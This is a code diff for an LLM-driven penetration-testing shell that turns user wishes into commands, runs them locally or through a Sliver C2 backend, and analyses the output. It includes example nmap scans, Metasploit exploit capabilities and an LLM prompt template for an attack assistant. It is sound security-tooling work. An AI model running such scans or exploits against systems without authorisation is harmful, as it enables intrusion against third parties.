diff --git a/docs/design.md b/docs/design.md
index 62a390ae..557ed32a 100644
--- a/docs/design.md
+++ b/docs/design.md
@@ -143,6 +143,111 @@ This separation allows each package to focus on its core functionality.
7. Status updates are tracked and displayed in the TUI
8. Results are stored in the wish history
+## Detailed Command Flow
+
+The following flowchart shows the complete end-to-end process from user input to command execution and analysis:
+
+```mermaid
+flowchart TB
+ %% User Interface Layer
+ subgraph TUI["🖥️ Terminal User Interface (wish-sh)"]
+ A[User launches wish shell] --> B[WishApp initializes]
+ B --> C[System Info Collection]
+ C --> D[WishInput Screen]
+ D --> E["User enters wish:
'scan all ports on target'"]
+ end
+
+ %% Wish Management Layer
+ subgraph WM["📋 Wish Management"]
+ E --> F[WishManager.generate_commands]
+ F --> G[Create Wish object]
+ G --> H[CommandGenerator client]
+ end
+
+ %% Command Generation API Layer
+ subgraph API["🤖 Command Generation API"]
+ H --> I[API Request with context]
+ I --> J[LangGraph State Machine]
+
+ subgraph Graph["Command Generation Graph"]
+ J --> K[feedback_analyzer]
+ K --> L{Route by feedback}
+ L -->|First execution| M[query_processor]
+ L -->|Timeout error| N[timeout_handler]
+ L -->|Network error| O[network_error_handler]
+
+ M --> P[command_generator]
+ N --> Q[command_modifier]
+ O --> Q
+ P --> Q
+ Q --> R[result_formatter]
+ end
+
+ subgraph LLM["LLM Processing"]
+ P --> S["ChatGPT/OpenAI
with prompt template"]
+ S --> T["Generated command:
'nmap -p1-1000 $TARGET_IP'
'nmap -p1001-2000 $TARGET_IP'
..."]
+ end
+ end
+
+ %% Command Suggestion Layer
+ subgraph CS["✅ Command Suggestion"]
+ R --> U[Return commands list]
+ U --> V[CommandSuggestion Screen]
+ V --> W["Display commands
for user approval"]
+ W --> X{User decision}
+ X -->|Yes| Y[Proceed to execution]
+ X -->|No| D
+ end
+
+ %% Command Execution Layer
+ subgraph CE["⚡ Command Execution"]
+ Y --> Z[CommandExecutionScreen]
+ Z --> AA[CommandExecutor]
+ AA --> AB[Backend selection]
+
+ AB --> AC{Backend type}
+ AC -->|Local| AD[BashBackend]
+ AC -->|Remote| AE[SliverBackend]
+
+ AD --> AF[Execute via subprocess]
+ AE --> AG[Execute via C2]
+
+ AF --> AH[Write stdout/stderr
to log files]
+ AG --> AH
+ end
+
+ %% Monitoring Layer
+ subgraph MON["📊 Monitoring & Analysis"]
+ AH --> AI[CommandStatusTracker]
+ AI --> AJ[Monitor execution]
+ AJ --> AK{Command complete?}
+ AK -->|No| AJ
+ AK -->|Yes| AL[LogAnalysisClient]
+ AL --> AM[Analyze logs with LLM]
+ AM --> AN[Update command state]
+ AN --> AO[Update UI status]
+ end
+
+ %% Completion
+ AO --> AP{All commands done?}
+ AP -->|No| AJ
+ AP -->|Yes| AQ[Update Wish state]
+ AQ --> AR[Show completion message]
+ AR --> AS[Return to WishInput]
+ AS --> D
+
+ %% Styling
+ classDef userAction fill:#e1f5fe,stroke:#01579b,stroke-width:2px
+ classDef llmAction fill:#f3e5f5,stroke:#4a148c,stroke-width:2px
+ classDef systemAction fill:#e8f5e9,stroke:#1b5e20,stroke-width:2px
+ classDef decision fill:#fff3e0,stroke:#e65100,stroke-width:2px
+
+ class E,W,X userAction
+ class S,AM llmAction
+ class F,G,H,I,J,K,M,N,O,P,Q,R,U,V,Y,Z,AA,AB,AD,AE,AF,AG,AH,AI,AJ,AL,AN,AO,AQ,AR systemAction
+ class L,X,AC,AK,AP decision
+```
+
## Command Result Processing Flow
```mermaid
@@ -164,3 +269,80 @@ sequenceDiagram
LogAnalyzer-->>WishManager: CommandResult with log_summary and state
WishManager-->>User: Display analyzed result
```
+
+## Key Components and Their Roles
+
+### 1. **wish-sh (TUI Interface)**
+- **Entry Point**: `wish.py` - Handles CLI arguments and initializes the TUI
+- **Main App**: `WishApp` in `wish_tui.py` - Manages the Textual-based interface
+- **Screens**:
+ - `WishInput`: Where users type their natural language wishes
+ - `CommandSuggestion`: Shows generated commands for approval
+ - `CommandExecutionScreen`: Displays real-time execution status
+
+### 2. **WishManager**
+- Central orchestrator in `wish_manager.py`
+- Coordinates between command generation, execution, and analysis
+- Manages wish lifecycle and persistence
+
+### 3. **Command Generation API**
+- **Client**: `CommandGenerationClient` sends requests to the API
+- **API Handler**: Lambda function processes requests
+- **LangGraph**: State machine with specialized nodes:
+ - `feedback_analyzer`: Handles retry logic for failed commands
+ - `query_processor`: Prepares the query for LLM
+ - `command_generator`: Uses OpenAI/ChatGPT with prompt templates
+ - `command_modifier`: Applies transformations (e.g., divide & conquer)
+ - `result_formatter`: Prepares the final command list
+
+### 4. **LLM Prompt Templates**
+The system uses sophisticated prompts that include:
+- **Context Information**: Current directory, command history
+- **Guidelines**:
+ - Interactive command avoidance (e.g., `msfconsole -x "...exit -y"`)
+ - Fast alternatives (e.g., using `rg` instead of `grep`)
+ - Divide & conquer strategies (e.g., splitting port scans)
+
+### 5. **Command Execution**
+- **CommandExecutor**: Manages command lifecycle
+- **Backends**:
+ - `BashBackend`: Local execution via subprocess
+ - `SliverBackend`: Remote execution via C2 framework
+- **Logging**: All output captured to files for analysis
+
+### 6. **Monitoring & Analysis**
+- **CommandStatusTracker**: Polls for command completion
+- **LogAnalysisClient**: Uses LLM to analyze command output
+- **State Management**: Tracks success, failure, timeouts, etc.
+
+## Example Flow
+
+**User's Wish**: "scan all ports on the target machine"
+
+1. User types wish in TUI
+2. WishManager creates Wish object with unique ID
+3. CommandGenerator sends to API with system context
+4. LangGraph processes through nodes:
+ - Query processor enhances the query
+ - Command generator creates base command
+ - Command modifier applies divide & conquer (splits into 65 parallel nmap commands)
+5. User sees suggested commands and approves
+6. CommandExecutor runs all commands in parallel
+7. StatusTracker monitors progress
+8. LogAnalysisClient analyzes results
+9. UI updates with findings
+10. User returns to wish input for next task
+
+## Key Design Patterns
+
+1. **State Machine Pattern**: LangGraph for complex command generation logic
+2. **Strategy Pattern**: Multiple execution backends (Bash, Sliver)
+3. **Observer Pattern**: Real-time UI updates during execution
+4. **Chain of Responsibility**: Node-based processing in command generation
+
+## Integration Points
+
+- **LangSmith**: Tracing for LLM operations
+- **OpenAI API**: Command generation and log analysis
+- **Sliver C2**: Remote command execution
+- **File System**: Log storage and analysis
diff --git a/wish-api/uv.lock b/wish-api/uv.lock
index e2d6582f..0ee7b544 100644
--- a/wish-api/uv.lock
+++ b/wish-api/uv.lock
@@ -2954,6 +2954,7 @@ requires-dist = [
dev = [
{ name = "factory-boy", specifier = ">=3.3.1" },
{ name = "graphviz", specifier = ">=0.20.1" },
+ { name = "pre-commit", specifier = ">=3.6.0" },
{ name = "pytest", specifier = ">=8.3.4" },
{ name = "pytest-asyncio", specifier = ">=0.25.2" },
{ name = "ruff", specifier = ">=0.9.8" },
diff --git a/wish-command-execution/src/wish_command_execution/backend/bash.py b/wish-command-execution/src/wish_command_execution/backend/bash.py
index 96cf9667..cceafeec 100644
--- a/wish-command-execution/src/wish_command_execution/backend/bash.py
+++ b/wish-command-execution/src/wish_command_execution/backend/bash.py
@@ -128,7 +128,6 @@ async def execute_command(self, wish: Wish, command: str, cmd_num: int, log_file
cmd_num: The command number.
log_files: The log files to write output to.
timeout_sec: The timeout in seconds for this command.
-
Note:
Commands are executed in the working directory /app/{run_id}/ to isolate
command execution from the application source code.
@@ -145,11 +144,11 @@ async def execute_command(self, wish: Wish, command: str, cmd_num: int, log_file
try:
# 作業ディレクトリを設定
cwd = f"/app/{self.run_id or wish.id}/"
-
+
# ディレクトリが存在することを確認
import os
os.makedirs(cwd, exist_ok=True)
-
+
# Start the process (this is still synchronous, but the interface is async)
process = subprocess.Popen(
command,
diff --git a/wish-command-execution/tests/backend/test_bash_backend.py b/wish-command-execution/tests/backend/test_bash_backend.py
index 49719801..2778b8c1 100644
--- a/wish-command-execution/tests/backend/test_bash_backend.py
+++ b/wish-command-execution/tests/backend/test_bash_backend.py
@@ -60,10 +60,10 @@ async def test_execute_command(self, mock_makedirs, mock_open, mock_popen, backe
# Expected working directory
expected_cwd = f"/app/{backend.run_id or wish.id}/"
-
+
# Verify that os.makedirs was called to ensure the directory exists
mock_makedirs.assert_called_once_with(expected_cwd, exist_ok=True)
-
+
# Verify that Popen was called with the expected command and cwd
mock_popen.assert_any_call(
cmd,
@@ -87,7 +87,9 @@ async def test_execute_command(self, mock_makedirs, mock_open, mock_popen, backe
@patch("subprocess.Popen")
@patch("builtins.open")
@patch("os.makedirs")
- async def test_execute_command_subprocess_error(self, mock_makedirs, mock_open, mock_popen, backend, wish, log_files):
+ async def test_execute_command_subprocess_error(
+ self, mock_makedirs, mock_open, mock_popen, backend, wish, log_files
+ ):
"""Test execute_command method with subprocess error."""
# Set up the mock Popen to raise a subprocess error
mock_popen.side_effect = subprocess.SubprocessError("Mock error")
@@ -102,10 +104,10 @@ async def test_execute_command_subprocess_error(self, mock_makedirs, mock_open,
cmd_num = 1
timeout_sec = 60
await backend.execute_command(wish, cmd, cmd_num, log_files, timeout_sec)
-
+
# Expected working directory
expected_cwd = f"/app/{backend.run_id or wish.id}/"
-
+
# Verify that os.makedirs was called to ensure the directory exists
mock_makedirs.assert_called_once_with(expected_cwd, exist_ok=True)
@@ -193,7 +195,9 @@ async def test_cancel_command_not_running(self, backend, wish):
@patch("subprocess.Popen")
@patch("builtins.open")
@patch("os.makedirs")
- async def test_execute_command_without_variable_replacement(self, mock_makedirs, mock_open, mock_popen, backend, wish, log_files):
+ async def test_execute_command_without_variable_replacement(
+ self, mock_makedirs, mock_open, mock_popen, backend, wish, log_files
+ ):
"""Test execute_command method without variable replacement."""
# Set up the mock Popen
mock_process = MagicMock()
@@ -212,10 +216,10 @@ async def test_execute_command_without_variable_replacement(self, mock_makedirs,
# Expected working directory
expected_cwd = f"/app/{backend.run_id or wish.id}/"
-
+
# Verify that os.makedirs was called to ensure the directory exists
mock_makedirs.assert_called_once_with(expected_cwd, exist_ok=True)
-
+
# Verify that Popen was called with the original command and correct cwd
mock_popen.assert_any_call(
cmd,
diff --git a/wish-command-execution/uv.lock b/wish-command-execution/uv.lock
index af9d1ef8..37938daf 100644
--- a/wish-command-execution/uv.lock
+++ b/wish-command-execution/uv.lock
@@ -1046,6 +1046,7 @@ requires-dist = [
dev = [
{ name = "factory-boy", specifier = ">=3.3.1" },
{ name = "graphviz", specifier = ">=0.20.1" },
+ { name = "pre-commit", specifier = ">=3.6.0" },
{ name = "pytest", specifier = ">=8.3.4" },
{ name = "pytest-asyncio", specifier = ">=0.25.2" },
{ name = "ruff", specifier = ">=0.9.8" },
diff --git a/wish-command-generation-api/uv.lock b/wish-command-generation-api/uv.lock
index 1e3ed986..e8baf932 100644
--- a/wish-command-generation-api/uv.lock
+++ b/wish-command-generation-api/uv.lock
@@ -3079,6 +3079,7 @@ requires-dist = [
dev = [
{ name = "factory-boy", specifier = ">=3.3.1" },
{ name = "graphviz", specifier = ">=0.20.1" },
+ { name = "pre-commit", specifier = ">=3.6.0" },
{ name = "pytest", specifier = ">=8.3.4" },
{ name = "pytest-asyncio", specifier = ">=0.25.2" },
{ name = "ruff", specifier = ">=0.9.8" },
diff --git a/wish-log-analysis-api/docs/graph.svg b/wish-log-analysis-api/docs/graph.svg
index 5442acb6..f173a317 100644
--- a/wish-log-analysis-api/docs/graph.svg
+++ b/wish-log-analysis-api/docs/graph.svg
@@ -22,7 +22,7 @@
command_state_classifier
-
+
log_summarization->command_state_classifier
@@ -34,13 +34,13 @@
result_combiner
-
+
command_state_classifier->result_combiner
-
+
__end__
__end__
@@ -52,13 +52,13 @@
-
+
__start__
__start__
-
+
__start__->log_summarization
diff --git a/wish-log-analysis-api/src/wish_log_analysis_api/nodes/command_state_classifier.py b/wish-log-analysis-api/src/wish_log_analysis_api/nodes/command_state_classifier.py
index bc282273..4a4fa9da 100644
--- a/wish-log-analysis-api/src/wish_log_analysis_api/nodes/command_state_classifier.py
+++ b/wish-log-analysis-api/src/wish_log_analysis_api/nodes/command_state_classifier.py
@@ -2,7 +2,7 @@
import os
-from langchain_core.output_parsers import StrOutputParser, JsonOutputParser
+from langchain_core.output_parsers import JsonOutputParser
from langchain_core.prompts import PromptTemplate
from langchain_openai import ChatOpenAI
from wish_models.command_result.command_state import CommandState
@@ -104,7 +104,7 @@
"reason": "Detailed explanation of why this state was chosen"
}}
-Where STATE_HERE is one of: SUCCESS_INITIAL_ACCESS, SUCCESS, COMMAND_NOT_FOUND, FILE_NOT_FOUND,
+Where STATE_HERE is one of: SUCCESS_INITIAL_ACCESS, SUCCESS, COMMAND_NOT_FOUND, FILE_NOT_FOUND,
REMOTE_OPERATION_FAILED, TIMEOUT, NETWORK_ERROR, or OTHERS.
Example output:
@@ -138,6 +138,7 @@ def classify_command_state(state: GraphState, settings_obj: Settings) -> GraphSt
"""
import json
import logging
+
from wish_tools.tool_step_trace import main as step_trace
# Create a new state object to avoid modifying the original
@@ -170,8 +171,8 @@ def classify_command_state(state: GraphState, settings_obj: Settings) -> GraphSt
# Initialize the OpenAI model
model = ChatOpenAI(
- model=settings_obj.OPENAI_MODEL,
- api_key=settings_obj.OPENAI_API_KEY,
+ model=settings_obj.OPENAI_MODEL,
+ api_key=settings_obj.OPENAI_API_KEY,
use_responses_api=True,
model_kwargs={"response_format": {"type": "json_object"}}
)
@@ -189,18 +190,18 @@ def classify_command_state(state: GraphState, settings_obj: Settings) -> GraphSt
try:
command_state_str = classification_data.get("command_state")
reason = classification_data.get("reason", "No reason provided")
-
+
# Log the classification result and reason
logging.info(f"Command state classification: {command_state_str}")
logging.info(f"Reason: {reason}")
-
+
# Send to StepTrace if run_id is available
if state.run_id:
trace_message = json.dumps({
"command_state": command_state_str,
"reason": reason
}, ensure_ascii=False)
-
+
try:
step_trace(
run_id=state.run_id,
@@ -210,7 +211,7 @@ def classify_command_state(state: GraphState, settings_obj: Settings) -> GraphSt
logging.info(f"StepTrace sent for run_id: {state.run_id}")
except Exception as trace_error:
logging.error(f"Error sending StepTrace: {str(trace_error)}")
-
+
# Convert the classification string to CommandState
if command_state_str == "SUCCESS_INITIAL_ACCESS":
command_state = CommandState.SUCCESS_INITIAL_ACCESS
@@ -230,11 +231,11 @@ def classify_command_state(state: GraphState, settings_obj: Settings) -> GraphSt
command_state = CommandState.OTHERS
else:
raise ValueError(f"Unknown command state classification: {command_state_str}")
-
+
except Exception as json_error:
logging.error(f"Failed to process JSON response: {classification_data}")
logging.error(f"Error: {str(json_error)}")
- raise ValueError(f"Invalid JSON response from LLM: {str(json_error)}")
+ raise ValueError(f"Invalid JSON response from LLM: {str(json_error)}") from json_error
# Set the command state and reason in the new state
new_state.command_state = command_state
diff --git a/wish-sh/uv.lock b/wish-sh/uv.lock
index 3d31d94e..d4a08312 100644
--- a/wish-sh/uv.lock
+++ b/wish-sh/uv.lock
@@ -1240,6 +1240,7 @@ requires-dist = [
dev = [
{ name = "factory-boy", specifier = ">=3.3.1" },
{ name = "graphviz", specifier = ">=0.20.1" },
+ { name = "pre-commit", specifier = ">=3.6.0" },
{ name = "pytest", specifier = ">=8.3.4" },
{ name = "pytest-asyncio", specifier = ">=0.25.2" },
{ name = "ruff", specifier = ">=0.9.8" },
diff --git a/wish-tools/.github/workflows/update-docs.yml b/wish-tools/.github/workflows/update-docs.yml
new file mode 100644
index 00000000..86b0541e
--- /dev/null
+++ b/wish-tools/.github/workflows/update-docs.yml
@@ -0,0 +1,50 @@
+name: Update Tool Documentation
+
+on:
+ push:
+ branches: [ main, master ]
+ paths:
+ - 'src/wish_tools/tools/**/*.py'
+ - 'src/wish_tools/framework/**/*.py'
+ pull_request:
+ branches: [ main, master ]
+ paths:
+ - 'src/wish_tools/tools/**/*.py'
+ - 'src/wish_tools/framework/**/*.py'
+
+jobs:
+ update-docs:
+ runs-on: ubuntu-latest
+
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Set up Python
+ uses: actions/setup-python@v4
+ with:
+ python-version: '3.11'
+
+ - name: Install uv
+ run: |
+ curl -LsSf https://astral.sh/uv/install.sh | sh
+ echo "$HOME/.cargo/bin" >> $GITHUB_PATH
+
+ - name: Install dependencies
+ run: uv sync
+
+ - name: Generate tool documentation
+ run: uv run python scripts/generate_tool_docs.py
+
+ - name: Run tool tests
+ run: uv run python scripts/test_tools.py
+
+ - name: Check for documentation changes
+ run: |
+ if [ -n "$(git diff --name-only docs/)" ]; then
+ echo "Documentation changes detected:"
+ git diff --name-only docs/
+ echo "Please commit the updated documentation."
+ exit 1
+ else
+ echo "Documentation is up to date."
+ fi
\ No newline at end of file
diff --git a/wish-tools/.pre-commit-config.yaml b/wish-tools/.pre-commit-config.yaml
new file mode 100644
index 00000000..2cf1ced7
--- /dev/null
+++ b/wish-tools/.pre-commit-config.yaml
@@ -0,0 +1,19 @@
+# Pre-commit hooks for wish-tools
+repos:
+ - repo: local
+ hooks:
+ - id: generate-tool-docs
+ name: Generate tool documentation
+ entry: uv run python scripts/generate_tool_docs.py
+ language: system
+ files: ^src/wish_tools/tools/.*\.py$
+ pass_filenames: false
+ always_run: false
+
+ - id: run-tool-tests
+ name: Run tool tests
+ entry: uv run python scripts/test_tools.py
+ language: system
+ files: ^src/wish_tools/.*\.py$
+ pass_filenames: false
+ always_run: false
\ No newline at end of file
diff --git a/wish-tools/Makefile b/wish-tools/Makefile
new file mode 100644
index 00000000..7bca9033
--- /dev/null
+++ b/wish-tools/Makefile
@@ -0,0 +1,71 @@
+# Makefile for wish-tools development
+
+.PHONY: help install test docs lint clean check-docs
+
+help: ## Show this help message
+ @echo "Available commands:"
+ @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-20s\033[0m %s\n", $$1, $$2}'
+
+install: ## Install dependencies
+ uv sync
+
+test: ## Run all tests
+ uv run python -m pytest tests/
+ uv run python scripts/test_tools.py
+
+docs: ## Generate tool documentation
+ uv run python scripts/generate_tool_docs.py
+ @echo "Documentation generated in docs/tools/"
+
+check-docs: ## Check if documentation is up to date
+ @echo "Checking if documentation is up to date..."
+ @uv run python scripts/generate_tool_docs.py --output-dir docs/tools-temp
+ @if ! diff -r docs/tools docs/tools-temp > /dev/null 2>&1; then \
+ echo "❌ Documentation is out of date. Run 'make docs' to update."; \
+ rm -rf docs/tools-temp; \
+ exit 1; \
+ else \
+ echo "✅ Documentation is up to date."; \
+ rm -rf docs/tools-temp; \
+ fi
+
+lint: ## Run linting
+ uv run ruff check src/ tests/ scripts/
+ uv run ruff format --check src/ tests/ scripts/
+
+format: ## Format code
+ uv run ruff format src/ tests/ scripts/
+
+clean: ## Clean up temporary files
+ find . -type d -name "__pycache__" -exec rm -rf {} + 2>/dev/null || true
+ find . -type f -name "*.pyc" -delete 2>/dev/null || true
+ rm -rf .pytest_cache/
+ rm -rf docs/tools-temp/
+
+# Development workflow targets
+dev-setup: install ## Set up development environment
+ @echo "Installing pre-commit hooks..."
+ @uv run pre-commit install
+ @echo "✅ Pre-commit hooks installed"
+
+dev-check: lint test check-docs ## Run all development checks
+
+# Tool development workflow
+add-tool: ## Add a new tool (requires TOOL_NAME)
+ @if [ -z "$(TOOL_NAME)" ]; then \
+ echo "Usage: make add-tool TOOL_NAME=mytool"; \
+ exit 1; \
+ fi
+ @echo "Creating template for tool: $(TOOL_NAME)"
+ @cp scripts/tool_template.py src/wish_tools/tools/$(TOOL_NAME).py
+ @sed -i '' 's/TOOL_NAME/$(TOOL_NAME)/g' src/wish_tools/tools/$(TOOL_NAME).py
+ @echo "✅ Tool template created: src/wish_tools/tools/$(TOOL_NAME).py"
+ @echo "Next steps:"
+ @echo "1. Edit src/wish_tools/tools/$(TOOL_NAME).py"
+ @echo "2. Run 'make docs' to generate documentation"
+ @echo "3. Run 'make test' to verify implementation"
+
+release-check: ## Check if ready for release
+ @echo "🔍 Running release checks..."
+ @make dev-check
+ @echo "✅ All checks passed. Ready for release!"
\ No newline at end of file
diff --git a/wish-tools/README.md b/wish-tools/README.md
index 30c04bde..b5ca5767 100644
--- a/wish-tools/README.md
+++ b/wish-tools/README.md
@@ -1,58 +1,267 @@
-# RapidPen Tools
+# Wish Tools Framework
-RapidPen Toolsモジュールは、RapidPenの各モジュールで使用される共通ツールを提供するモジュールです。
+Wish Toolsは、wish フレームワーク用の拡張可能なツール抽象化フレームワークです。ペネトレーションテストツールを統一的なインターフェースで使用できるようにし、LLM による自動的なツール選択とコマンド生成を可能にします。
-## 提供ツール
+## 特徴
-### Tool Step Trace
+- **統一インターフェース**: 異なるツールを共通のAPIで操作
+- **自動ツール発見**: 新しいツールの自動登録
+- **LLM統合**: ツールの機能をLLMが理解できる形で提供
+- **テスト機能**: 各ツールの動作確認とテスト
+- **ドキュメント生成**: ツールの使用方法を自動生成
+- **フォールバック機能**: 専用ツールがない場合のbashフォールバック
-Tool Step Traceは、RapidPen-visにステップトレースを追加するためのワークフローを提供します。このツールを使用することで、ワークフローの実行状況を可視化することができます。
+## インストールと使用方法
-#### 使用方法
+### 基本的な使用方法
```python
-from rapidpen_tools.tool_step_trace import main as step_trace_main
+from wish_tools.framework.registry import tool_registry
+from wish_tools.framework.base import ToolContext, CommandInput
-# StepTraceを呼び出し
-result = step_trace_main(
- run_id="実行ID",
- trace_name="トレース名",
- trace_message="トレースメッセージ"
+# 利用可能なツールを一覧表示
+tools = tool_registry.list_tools()
+for tool in tools:
+ print(f"{tool.name}: {tool.description}")
+
+# ツールを取得して実行
+tool = tool_registry.get_tool('bash')
+context = ToolContext(
+ working_directory='/tmp',
+ run_id='example'
)
+
+# コマンドを生成
+command = tool.generate_command(
+ capability='execute',
+ parameters={
+ 'command': 'nmap -sS -p 22,80,443 192.168.1.0/24',
+ 'category': 'network'
+ }
+)
+
+# コマンドを実行
+result = await tool.execute(command, context)
+print(f"Success: {result.success}")
+print(f"Output: {result.output}")
+```
+
+### ツール機能の検索
+
+```python
+# カテゴリ別にツールを検索
+exploit_tools = tool_registry.list_by_category('exploitation')
+fallback_tools = tool_registry.list_by_category('fallback')
+
+# タグで検索
+pentesting_tools = tool_registry.list_by_tag('pentesting')
+
+# キーワード検索
+search_results = tool_registry.search_tools('metasploit')
```
-#### パラメータ
+## 利用可能なツール
+
+### 専用ツール
+
+#### msfconsole (Exploitation)
+- **exploit**: エクスプロイト実行
+- **auxiliary**: 補助モジュール実行
+- **search**: モジュール検索
+- **info**: モジュール情報取得
+
+### フォールバックツール
+
+#### bash (Universal Fallback)
+- **execute**: 任意のシェルコマンド実行
+- **script**: カスタムスクリプト実行
+- **tool_combination**: 複数ツールの組み合わせ
-- `run_id`: 実行ID(Run-プレフィックスなし)
-- `trace_name`: トレース名
-- `trace_message`: トレースメッセージ
+専用ツールが利用できない場合の最後の手段として使用されます。
-#### 戻り値
+## ツールの追加
+
+新しいツールを追加するには、`BaseTool` を継承したクラスを作成します:
```python
-{
- "status_code": 200, # HTTPステータスコード
- "body": "Success" # レスポンスボディ
-}
+from wish_tools.framework.base import BaseTool, ToolMetadata, ToolCapability
+
+class MyTool(BaseTool):
+ def _build_metadata(self) -> ToolMetadata:
+ return ToolMetadata(
+ name="mytool",
+ version="1.0.0",
+ description="My custom tool",
+ author="Me",
+ category="custom",
+ capabilities=[
+ ToolCapability(
+ name="scan",
+ description="Perform custom scanning",
+ parameters={
+ "target": "Target to scan",
+ "options": "Scan options"
+ },
+ examples=["mytool -t 192.168.1.1 -v"]
+ )
+ ],
+ requirements=["mytool"],
+ tags=["custom", "scanning"]
+ )
+
+ async def validate_availability(self):
+ # ツールの利用可能性をチェック
+ return True, None
+
+ async def execute(self, command, context):
+ # ツールを実行
+ pass
+
+ def generate_command(self, capability, parameters, context=None):
+ # LLM用のコマンド生成
+ pass
```
-### Base64 Encoder
+ツールは自動的に発見・登録されます。
+
+## テストとドキュメント生成
+
+### ツールのテスト実行
+
+```bash
+# 特定のツールをテスト
+uv run python scripts/test_tools.py --tool bash
+
+# 全ツールをテスト
+uv run python scripts/test_tools.py
+
+# テストレポートを保存
+uv run python scripts/test_tools.py --save-reports
+```
+
+### ドキュメント生成
+
+```bash
+# ツールドキュメントを生成
+uv run python scripts/generate_tool_docs.py
+
+# 特定の種類のドキュメントのみ生成
+uv run python scripts/generate_tool_docs.py --index --matrix
+```
+
+## LLM統合
+
+このフレームワークは、LLMが適切なツールと機能を選択できるよう設計されています。
+
+### ツール選択の優先順位
+
+1. **専用ツール優先**: 可能な限り専用ツールを使用
+2. **bashフォールバック**: 専用ツールがない場合のみbashを使用
-Base64エンコーダーは、文字列をBase64形式にエンコードするためのツールを提供します。
+### LLM向けメタデータ
-#### 使用方法
+各ツールは以下の情報をLLMに提供します:
+
+- **機能(Capabilities)**: ツールができること
+- **パラメータ**: 各機能で必要な入力
+- **例**: 具体的な使用例
+- **要件**: システム要件
+
+## アーキテクチャ
+
+```
+wish-tools/
+├── framework/ # コアフレームワーク
+│ ├── base.py # ツールインターフェース
+│ ├── registry.py # ツール登録・管理
+│ └── testing.py # テストフレームワーク
+├── tools/ # ツール実装
+│ ├── bash.py # Bashツール(フォールバック)
+│ └── msfconsole.py # Metasploitツール
+└── scripts/ # 開発支援スクリプト
+ ├── test_tools.py
+ └── generate_tool_docs.py
+```
+
+## レガシーツール(後方互換性)
+
+以下のレガシーツールは後方互換性のため残されています:
+
+### Tool Step Trace
```python
-from rapidpen_tools.to_base64 import main as to_base64
+from wish_tools.tool_step_trace import main as step_trace_main
+
+result = step_trace_main(
+ run_id="実行ID",
+ trace_name="トレース名",
+ trace_message="トレースメッセージ"
+)
+```
+
+### Base64 Encoder
+
+```python
+from wish_tools.to_base64 import main as to_base64
-# 文字列をBase64エンコード
encoded = to_base64("Hello, World!")
```
-#### パラメータ
+これらは将来的に新しいフレームワークインターフェースに移行予定です。
+
+## 開発とコントリビューション
+
+### 開発環境セットアップ
+
+```bash
+# 開発環境のセットアップ
+make dev-setup
+
+# または手動で:
+uv sync # 依存関係のインストール
+uv run pre-commit install # pre-commitフックのインストール
+```
+
+### 開発ワークフロー
+
+```bash
+# 新しいツールの追加
+make add-tool TOOL_NAME=mytool
+
+# ドキュメント生成
+make docs
-- `plain`: エンコードする文字列
+# テスト実行
+make test
+
+# 開発チェック(リント + テスト + ドキュメント確認)
+make dev-check
+
+# リリース前チェック
+make release-check
+```
+
+### 自動化された品質管理
+
+#### **Pre-commit Hooks**
+ツールファイルを変更時に自動実行:
+- ドキュメント生成
+- テスト実行
+
+#### **GitHub Actions**
+プルリクエスト時に自動チェック:
+- ドキュメントが最新か確認
+- すべてのテストをパス
+- コード品質チェック
+
+#### **Make タスク**
+```bash
+make help # 利用可能なコマンドを表示
+```
-#### 戻り値
+### コントリビューションガイドライン
-Base64エンコードされた文字列
+1. 新しいツールを追加する場合は `BaseTool` を継承してください
+2. 適切なテストケースを作成してください
+3. ドキュメントが自動生成されることを確認してください
+4. 安全性チェック(`validate_command`)を実装してください
diff --git a/wish-tools/docs/command-generator-integration.md b/wish-tools/docs/command-generator-integration.md
new file mode 100644
index 00000000..6ac7eca6
--- /dev/null
+++ b/wish-tools/docs/command-generator-integration.md
@@ -0,0 +1,391 @@
+# Command Generator Integration with Tool Framework
+
+This document outlines how to integrate the wish-tools framework with the existing Command Generator API to enable LLM-driven tool selection and command generation.
+
+## Overview
+
+The integration transforms the command generation flow from:
+```
+User Query → LLM → Shell Commands
+```
+
+To:
+```
+User Query → LLM → Tool Selection → Capability Selection → Parameter Extraction → Command Generation
+```
+
+## Tool Selection Strategy
+
+### 1. **Priority-Based Tool Selection**
+
+The LLM should select tools in this priority order:
+
+1. **Specialized Tools First**: Use dedicated tools when available
+2. **Bash as Fallback**: Use bash only when no specialized tool exists
+
+```python
+TOOL_PRIORITY = {
+ "network_scanning": ["bash"], # Use bash for nmap commands
+ "exploitation": ["msfconsole", "bash"],
+ "web_requests": ["bash"], # Use bash for curl/wget commands
+ "file_operations": ["bash"],
+ "process_management": ["bash"],
+ "log_analysis": ["bash"]
+}
+```
+
+### 2. **Intent-to-Tool Mapping**
+
+```python
+INTENT_MAPPING = {
+ # Network operations - using bash for nmap commands
+ "port_scan": {
+ "primary": ("bash", "execute", {"category": "network"}),
+ "fallback": None
+ },
+ "service_detection": {
+ "primary": ("bash", "execute", {"category": "network"}),
+ "fallback": None
+ },
+ "vulnerability_scan": {
+ "primary": ("bash", "execute", {"category": "network"}),
+ "fallback": None
+ },
+
+ # Exploitation
+ "exploit_target": {
+ "primary": ("msfconsole", "exploit"),
+ "fallback": ("bash", "execute", {"category": "exploitation"})
+ },
+ "scan_vulnerabilities": {
+ "primary": ("msfconsole", "auxiliary"),
+ "fallback": ("bash", "execute", {"category": "network"})
+ },
+
+ # General operations
+ "file_search": {
+ "primary": ("bash", "execute", {"category": "file"}),
+ "fallback": None
+ },
+ "process_analysis": {
+ "primary": ("bash", "execute", {"category": "process"}),
+ "fallback": None
+ }
+}
+```
+
+## LLM Prompt Template
+
+### Enhanced Prompt with Tool Awareness
+
+```
+You are a penetration testing assistant. You have access to the following tools:
+
+## Available Tools
+
+### msfconsole (Exploitation Framework)
+**Category:** exploitation
+**Description:** Metasploit Framework for exploitation and post-exploitation
+**Capabilities:**
+- exploit: Run exploit modules against targets
+ - Parameters: module (required), rhosts (required), lhost (for reverse), rport, payload, options
+- auxiliary: Run auxiliary modules (scanners, fuzzers)
+ - Parameters: module (required), rhosts (required), rport, options
+- search: Search for modules by name/CVE/platform
+ - Parameters: query (required), type (exploit/auxiliary/post)
+
+### bash (Fallback Shell)
+**Category:** fallback
+**Description:** Universal command execution when specialized tools unavailable
+**Capabilities:**
+- execute: Run any shell command
+ - Parameters: command (required), timeout, category (hint)
+- script: Execute custom bash scripts
+ - Parameters: script (required), args
+- tool_combination: Complex command pipelines
+ - Parameters: command (required), description
